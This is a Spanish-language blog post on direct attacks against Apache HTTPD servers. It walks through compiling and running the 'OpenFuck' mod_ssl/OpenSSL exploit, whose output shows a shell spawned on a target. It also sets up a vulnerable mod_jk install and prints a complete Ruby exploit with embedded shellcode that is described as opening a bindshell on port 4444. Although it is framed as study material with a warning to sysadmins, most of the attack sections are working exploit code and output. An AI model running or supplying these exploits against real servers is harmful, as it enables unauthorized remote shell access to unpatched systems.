WEB HACKING – Algunos Ataques directos contra servidores web Apache Parte II
En la publicación anterior se ha hablado de sobre algunos ataques directos contra servidores web con vulnerabilidades conocidas. En esta publicación y en la próxima se hablará sobre algunas de las vulnerabilidades más criticas que ha sufrido el servidor web más utilizado del mundo: Apache HTTPD Web Server con algunos ejemplos para comprender en que consisten.
Vulnerabilidad de Buffer OverFlow en OpenSSL
El uso de OpenSSL en servidores web Apache HTTPD, ha sido una buena elección a la hora de habilitar en el servidor la capacidad de cifrar el canal de comunicación y poder establecer conexiones seguras utilizando el protocolo SSL, sin embargo no siempre ha sido tan seguro y estable como las más recientes versiones de esta librería, de hecho han habido vulnerabilidades muy conocidas y graves que han afectado a miles de servidores en internet, como por ejemplo la vulnerabilidad de PRGN sobre sistemas basados en Debian (
http://www.debian.org/security/2008/dsa-1571).
En este caso, el servidor web Apache HTTPD también se ha visto afectado por vulnerabilidades relacionadas con OpenSSL, una de las más conocidas y de la que se va a hablar en las siguentes lineas es una vulnerabilidad de Buffer Overflow que afecta principalmente a las versiones de OpenSSL 0.9.6b e inferiores, el informe completo de esta vulnerabilidad puede verse aquí:
http://www.securityfocus.com/bid/5363/info
Si un servidor web utiliza el modulo mod_ssl haciendo uso de una versión de OpenSSLvulnerable, el servidor web puede ser atacado de forma directa sin importar si las aplicaciones instaladas son vulnerables o no.
La imagen anterior enseña un servidor web Apache que soporta SSL y gracias al escaneo con Nmap (-A) se ha podido identificar la versión de mod_ssl y OpenSSL (la cual es claramente, vulnerable).
Ahora bien, existe un exploit que fue publicado hace algunos años para aprovechar estar vulnerabilidad, sin embargo, debido a que desde entonces las librerías de desarrollo para OpenSSL han tenido algunos cambios, es necesario realizar unas pequeñas adaptaciones, el exploit original se encuentra localizado aquí:
http://www.securityfocus.com/bid/5363/exploit
Y las modificaciones que he realizado, para poder compilar y posteriormente ejecutar dicho exploit desde mi máquina (Debian Squeeze) se encuentran disponibles aquí:
Compilar el exploit es sencillo utilizando GCC
>gcc OpenFuck.c -o OpenFuck -lcrypto
OpenFuck.c: In function ‘get_server_hello’:
OpenFuck.c:1011: warning: passing argument 2 of ‘d2i_X509’ from incompatible pointer type
/usr/include/openssl/x509.h:940: note: expected ‘const unsigned char **’ but argument is of type ‘unsigned char **’ |
Posteriormente, solamente es necesario identificar cual es la plataforma del sistema objetivo, el escaneo anterior indica que hay una alta probabilidad de que se trate de un sistema RedHat, así que:
>./OpenFuck 0×73 192.168.17.222 443
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam – LSD-pl – SolarEclipse – CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Establishing SSL connection
cipher: 0x4070d0ac ciphers: 0x81c6788
Ready to send shellcode
Spawning shell…
bash: no job control in this shell
bash-2.05a$
|
De esta forma, un atacante puede conseguir una shell en el sistema objetivo aprovechando esta vulnerabilidad.
Aunque se pueda creer que es una vulnerabilidad difícil de exploitar, dado que es bastante antigua, es impresionante la cantidad de sistemas que se encuentran prácticamente abandonados y que no se actualizan desde hace años. Un llamado de atención a todos aquellos sysadmins que no tienen debidamente actualizados sus sistemas.
Vulnerabilidad de OverFlow en el módulo MOD_JK de Apache.
MOD_JK es un módulo para Apache HTTPD que permite redireccionar peticiones recibidas por el servidor web hacia el Servlet Container de Apache Tomcat. Se trata de un modulo que suele ser empleado como balanceador de carga entre una o varias instancias de Apache y uno o varios nodos de servidores de aplicaciones como Glassfish, WAS o JBOSS, de hecho, ese suele ser el uso más frecuente de este módulo. Sin embargo, durante los últimos años, una solución que puede resultar mucho más manejable y robusta es el módulo Mod_Proxy, del cual se ha hablado anteriormente en este blog:
http://thehackerway.com/2012/11/15/2074/
Reproducir esta vulnerabilidad para fines de estudio es sencillo (y se explicará a continuación). En primer lugar hay que tener presente que se produce en MOD_JK 1.2.19 y 1.2.20, por lo que para reproducirla es necesario instalar alguna de esas versiones. Para este caso concreto, la plataforma que se utilizará será la siguiente:
Sistema Operativo: Windows XP SP3.
Ahora bien, ahora solamente es necesario incluir el módulo dentro del directorio de módulos de Apache (ver publicaciones anteriores) e cargarlo tal como se indica en la siguiente configuración:
LoadModule jk_module modules/mod_jk.so
# Where to find workers.properties
JkWorkersFile conf/workers.properties
# Where to put jk logs
JkLogFile logs/mod_jk.log
# Set the jk log level [debug/error/info]
JkLogLevel info
# Select the log format
JkLogStampFormat “[%a %b %d %H:%M:%S %Y]“
# JkOptions indicates to send SSK KEY SIZE
JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
# JkRequestLogFormat
JkRequestLogFormat “%w %V %T”
# Mount your applications
JkMount /application/* ajp13
# You can use external file for mount points.
# It will be checked for updates each 60 seconds.
# The format of the file is: /url=worker
# /examples/*=loadbalancer
JkMountFile conf/uriworkermap.properties
# Add shared memory.
# This directive is present with 1.2.10 and
# later versions of mod_jk, and is needed for
# for load balancing to work properly
JkShmFile logs/jk.shm
# Add jkstatus for managing runtime data
JkMount status
Order deny,allow
Allow from all
|
Como se puede apreciar, tienen que existir los ficheros conf/workers.properties yconf/uriworkermap.properties los cuales podrían contener el siguiente contenido.
workers.properties
# BEGIN workers.properties
# Definition for Ajp13 worker
worker.list=ajp13
worker.ajp13.port=8009
worker.ajp13.host=127.0.0.1
worker.ajp13.type=ajp13
# END workers.properties
|
/jmx-console=ajp13
/jmx-console/*=ajp13
/web-console=ajp13
/web-console/*=ajp13
/examples/jsp=ajp13
/examples/jsp/*=ajp13
|
Se puede o no, instalar un servidor web como Tomcat o un servidor de aplicaciones como JBoss, estos ficheros simplemente son útiles para que el servidor web pueda realizar las redirecciones hacia el backend (del mismo modo que funciona mod_proxy).
Si la configuración es correcta, el banner del servidor web deberá contener el módulo cargado y su versión (mod_jk 1.2.20), lo cual se puede comprobar con un escaneo con NMAP con la opción de identificar la versión del servidor (-sV) o simplemente abriendo el monitor de servicios de apache.
Con esta configuración, es posible explotar esta vulnerabilidad utilizando metasploit framework tal como se enseña en la siguiente imagen
Tambien es posible utilizar el siguiente exploit, que he escrito en Ruby partiendo del exploit creado en Metasploit Framework
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
require 'net/http'
require 'uri'
require 'socket'
targetip = ARGV[0]
targetport = ARGV[1]
sc_base = 16
puts "[+] Target => #{targetip}:#{targetport}"
shellcode = "\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb3" +
"\xf7\x90\x8d\x83\xeb\xfc\xe2\xf4\x4f\x1f\x19\x8d\xb3\xf7" +
"\xf0\x04\x56\xc6\x42\xe9\x38\xa5\xa0\x06\xe1\xfb\x1b\xdf" +
"\xa7\x7c\xe2\xa5\xbc\x40\xda\xab\x82\x08\xa1\x4d\x1f\xcb" +
"\xf1\xf1\xb1\xdb\xb0\x4c\x7c\xfa\x91\x4a\x51\x07\xc2\xda" +
"\x38\xa5\x80\x06\xf1\xcb\x91\x5d\x38\xb7\xe8\x08\x73\x83" +
"\xda\x8c\x63\xa7\x1b\xc5\xab\x7c\xc8\xad\xb2\x24\x73\xb1" +
"\xfa\x7c\xa4\x06\xb2\x21\xa1\x72\x82\x37\x3c\x4c\x7c\xfa" +
"\x91\x4a\x8b\x17\xe5\x79\xb0\x8a\x68\xb6\xce\xd3\xe5\x6f" +
"\xeb\x7c\xc8\xa9\xb2\x24\xf6\x06\xbf\xbc\x1b\xd5\xaf\xf6" +
"\x43\x06\xb7\x7c\x91\x5d\x3a\xb3\xb4\xa9\xe8\xac\xf1\xd4" +
"\xe9\xa6\x6f\x6d\xeb\xa8\xca\x06\xa1\x1c\x16\xd0\xdb\xc4" +
"\xa2\x8d\xb3\x9f\xe7\xfe\x81\xa8\xc4\xe5\xff\x80\xb6\x8a" +
"\x4c\x22\x28\x1d\xb2\xf7\x90\xa4\x77\xa3\xc0\xe5\x9a\x77" +
"\xfb\x8d\x4c\x22\xc0\xdd\xe3\xa7\xd0\xdd\xf3\xa7\xf8\x67" +
"\xbc\x28\x70\x72\x66\x7e\x57\xbc\x68\xa4\xf8\x8f\xb3\xe6" +
"\xcc\x04\x55\x9d\x80\xdb\xe4\x9f\x52\x56\x84\x90\x6f\x58" +
"\xe0\xa0\xf8\x3a\x5a\xcf\x6f\x72\x66\xa4\xc3\xda\xdb\x83" +
"\x7c\xb6\x52\x08\x45\xda\x3a\x30\xf8\xf8\xdd\xba\xf1\x72" +
"\x66\x9f\xf3\xe0\xd7\xf7\x19\x6e\xe4\xa0\xc7\xbc\x45\x9d" +
"\x82\xd4\xe5\x15\x6d\xeb\x74\xb3\xb4\xb1\xb2\xf6\x1d\xc9" +
"\x97\xe7\x56\x8d\xf7\xa3\xc0\xdb\xe5\xa1\xd6\xdb\xfd\xa1" +
"\xc6\xde\xe5\x9f\xe9\x41\x8c\x71\x6f\x58\x3a\x17\xde\xdb" +
"\xf5\x08\xa0\xe5\xbb\x70\x8d\xed\x4c\x22\x2b\x7d\x06\x55" +
"\xc6\xe5\x15\x62\x2d\x10\x4c\x22\xac\x8b\xcf\xfd\x10\x76" +
"\x53\x82\x95\x36\xf4\xe4\xe2\xe2\xd9\xf7\xc3\x72\x66\xf7" +
"\x90\x8d"
buffer = "\x41"*5001
buffer[sc_base, shellcode.length] = shellcode
[ 4343, 4407, 4423 ].each { |seh_offset|
buffer[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
buffer[seh_offset - 4, 2] = "\xeb\xf9"
buffer[seh_offset , 4] = "\xf1\x8e\x6b\x6a"
}
begin
url = URI.parse('http://' + targetip)
res = Net::HTTP.start(url.host, targetport) { |http|
http.get('/' + buffer)
}
rescue
puts "[-] Error while trying to connect to #{targetip}:#{targetport}"
exit
end
|
La siguiente imagen enseña como crear una bindshell en el puerto 4444 utilizando el exploit anterior
No hay comentarios.:
Publicar un comentario